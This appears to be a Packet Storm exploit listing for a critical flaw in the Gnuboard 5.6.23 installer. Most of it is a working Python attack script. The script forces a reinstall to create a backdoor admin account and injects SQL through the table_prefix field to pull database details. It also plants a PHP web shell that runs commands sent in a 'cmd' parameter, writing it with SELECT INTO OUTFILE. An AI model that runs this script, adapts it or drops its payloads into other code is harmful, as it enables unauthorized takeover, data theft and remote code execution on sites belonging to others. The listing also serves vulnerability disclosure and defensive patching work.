PACKETSTORM 9.8 CRITICAL

πŸ“„ Gnuboard 5.6.23 SQL Injection / Code Execution_PACKETSTORM:212865

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

Gnuboard version 5.6.23 installation exploit that can identify SQL injection and potentially achieve remote code execution...
Visit Original Source

Basic Information

ID PACKETSTORM:212865
Published Dec 16, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Gnuboard v5.6.23 Installation Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/gnuboard/gnuboard5/releases/tag/v5.6.23 |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/190427/ & CVE-2020-18662

[+] Summary : Gnuboard 5 installation process contains critical security vulnerabilities that allow attackers to execute SQL injection,
create unauthorized admin accounts, write arbitrary files, and potentially achieve remote code execution. These flaws exist
in the /install/install_db.php script and can be exploited during or after installation.



[+] POC : python poc.py


#!/usr/bin/env python3

import requests
import re
import sys
import base64
import urllib.parse

class GnuboardExploit:
def __init__(self, target_url):
self.target = target_url.rstrip('/')
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})

def exploit(self):
print(f"[*] Targeting: {self.target}")

# 1. Test if installation page exists
if not self.check_install_page():
print("[-] Installation page not found")
return False

# 2. Create backdoor admin user
print("[*] Creating backdoor admin...")
self.create_backdoor_admin()

# 3. Try to extract database credentials
print("[*] Attempting to extract database info...")
db_info = self.extract_database_info()

# 4. Write web shell
print("[*] Writing web shell...")
self.write_webshell()

# 5. Test SQL injection
print("[*] Testing SQL injection...")
self.test_sql_injection()

return True

def check_install_page(self):
"""Check if installation page is accessible"""
try:
r = self.session.get(f"{self.target}/install/install_config.php", timeout=10)
return r.status_code == 200
except:
try:
r = self.session.get(f"{self.target}/install/", timeout=10)
return r.status_code == 200
except:
return False

def create_backdoor_admin(self):
"""Create admin user via installation process"""

payload = {
'mysql_host': 'localhost',
'mysql_user': 'root',
'mysql_pass': 'password', # Try common passwords
'mysql_db': 'gnuboard5',
'table_prefix': 'g5_',
'admin_id': 'hacker_admin',
'admin_pass': 'Hacker123!',
'admin_name': 'Hacker Admin',
'admin_email': '[email protected]',
'g5_install': '1', # Force reinstall
'g5_shop_prefix': 'shop_',
'g5_shop_install': '1'
}

try:
print(f"[*] Sending payload to: {self.target}/install/install_db.php")
r = self.session.post(f"{self.target}/install/install_db.php",
data=payload,
timeout=30,
allow_redirects=False)

print(f"[*] Response status: {r.status_code}")
print(f"[*] Response length: {len(r.text)}")

# Check for success indicators
success_indicators = [
'μ„€μΉ˜κ°€ μ™„λ£Œ',
'μ„€μΉ˜ μ™„λ£Œ',
'complete',
'success',
'μ™„λ£Œλ˜μ—ˆμŠ΅λ‹ˆλ‹€'
]

for indicator in success_indicators:
if indicator in r.text:
print(f"[+] Admin creation successful!")
print(f"[+] Credentials: hacker_admin / Hacker123!")
print(f"[+] Email: [email protected]")
return True

# Check for error messages
error_indicators = [
'MySQL.*확인해 μ£Όμ‹­μ‹œμ˜€',
'Access denied',
'잘λͺ»λœ',
'error',
'failed'
]

for error in error_indicators:
if re.search(error, r.text, re.IGNORECASE):
print(f"[-] Error: {error}")
break

except Exception as e:
print(f"[-] Request failed: {e}")

return False

def extract_database_info(self):
"""Attempt to extract database information via SQL injection"""

# Simple SQL injection test
injections = [
"' OR '1'='1'--",
"' UNION SELECT version(),2,3,4,5--",
"' UNION SELECT user(),database(),3,4,5--",
"g5_' AND 1=0 UNION SELECT CONCAT_WS(':',user(),database(),version()),2,3,4,5--"
]

for inj in injections:
try:
payload = {
'mysql_host': 'localhost',
'mysql_user': 'root',
'mysql_pass': 'test',
'mysql_db': 'test',
'table_prefix': inj,
'admin_id': 'test',
'admin_pass': 'test',
'admin_email': '[email protected]',
'g5_install': '0'
}

r = self.session.post(f"{self.target}/install/install_db.php",
data=payload,
timeout=15)

# Look for database info in response
patterns = [
r'([0-9]+\.[0-9]+\.[0-9]+)', # Version
r'root@', # MySQL user
r'gnuboard', # Database name
r'([a-zA-Z0-9_]+@[a-zA-Z0-9_\-\.]+:[a-zA-Z0-9_]+)' # user:db
]

for pattern in patterns:
matches = re.findall(pattern, r.text)
if matches:
print(f"[+] Found: {matches[0]}")
return matches[0]

except:
continue

return None

def write_webshell(self):
"""Attempt to write a web shell"""

webshell = '''<?php
// Simple PHP Shell
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
die();
}
?>
'''

# Try different paths
paths_to_try = [
f"{self.target}/shell.php",
f"{self.target}/data/shell.php",
f"{self.target}/images/shell.php",
f"{self.target}/theme/basic/shell.php"
]

for path in paths_to_try:
try:
# First try direct file upload if possible
test_payload = {
'mysql_host': 'localhost',
'mysql_user': 'root',
'mysql_pass': '',
'mysql_db': 'test',
'table_prefix': f"g5_'; SELECT '{webshell}' INTO OUTFILE '{path}'--",
'admin_id': 'test',
'admin_pass': 'test',
'admin_email': '[email protected]',
'g5_install': '0'
}

r = self.session.post(f"{self.target}/install/install_db.php",
data=test_payload,
timeout=15)

# Check if shell exists
check = self.session.get(path, timeout=10)
if check.status_code == 200:
print(f"[+] Web shell found at: {path}")
print(f"[+] Usage: {path}?cmd=whoami")
return True

except:
continue

print("[-] Could not write web shell")
return False

def test_sql_injection(self):
"""Test for SQL injection vulnerabilities"""

test_payloads = [
("Basic test", "' OR '1'='1"),
("Union test", "' UNION SELECT 1,2,3,4,5--"),
("Error based", "' AND extractvalue(1,concat(0x7e,version()))--"),
("Time based", "' AND sleep(5)--")
]

for name, payload in test_payloads:
try:
start_time = time.time()

data = {
'mysql_host': 'localhost',
'mysql_user': 'root',
'mysql_pass': '',
'mysql_db': 'test',
'table_prefix': payload,
'admin_id': 'test',
'admin_pass': 'test',
'admin_email': '[email protected]',
'g5_install': '0'
}

r = self.session.post(f"{self.target}/install/install_db.php",
data=data,
timeout=30)

elapsed = time.time() - start_time

if "MySQL" in r.text or "SQL" in r.text or "syntax" in r.text.lower():
print(f"[+] Possible SQL injection: {name}")
elif elapsed > 5 and "sleep" in payload:
print(f"[+] Time-based SQL injection possible")

except requests.exceptions.Timeout:
if "sleep" in payload:
print(f"[+] Time-based SQL injection confirmed")
except:
pass

def main():
if len(sys.argv) != 2:
print("Usage: python poc.py http://target.com")
print("Example: python poc.py http://localhost/gnuboard5")
sys.exit(1)

target = sys.argv[1]

print("""
β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆ β–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘
β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘
β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘
β•šβ•β•β•šβ•β• β•šβ•β•β•β•β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β•β•šβ•β• β•šβ•β•β•šβ•β• β•šβ•β•

Gnuboard 5 Installation Exploit
""")

print(f"[*] Target: {target}")
print("-" * 60)

exploit = GnuboardExploit(target)

try:
if exploit.exploit():
print("\n" + "=" * 60)
print("[+] EXPLOITATION SUMMARY:")
print("[+] 1. Admin account created: hacker_admin / Hacker123!")
print("[+] 2. Check for web shell at /shell.php or /data/shell.php")
print("[+] 3. SQL injection via table_prefix parameter")
print("[+] 4. Try default admin panel: /admin")
print("=" * 60)
else:
print("\n[-] Exploitation failed or target not vulnerable")

except KeyboardInterrupt:
print("\n[-] Exploit interrupted by user")
except Exception as e:
print(f"\n[-] Error: {e}")

if __name__ == "__main__":
import time # Add this import
main()

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

πŸ’­ Join the Security Discussion

πŸ”’ Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.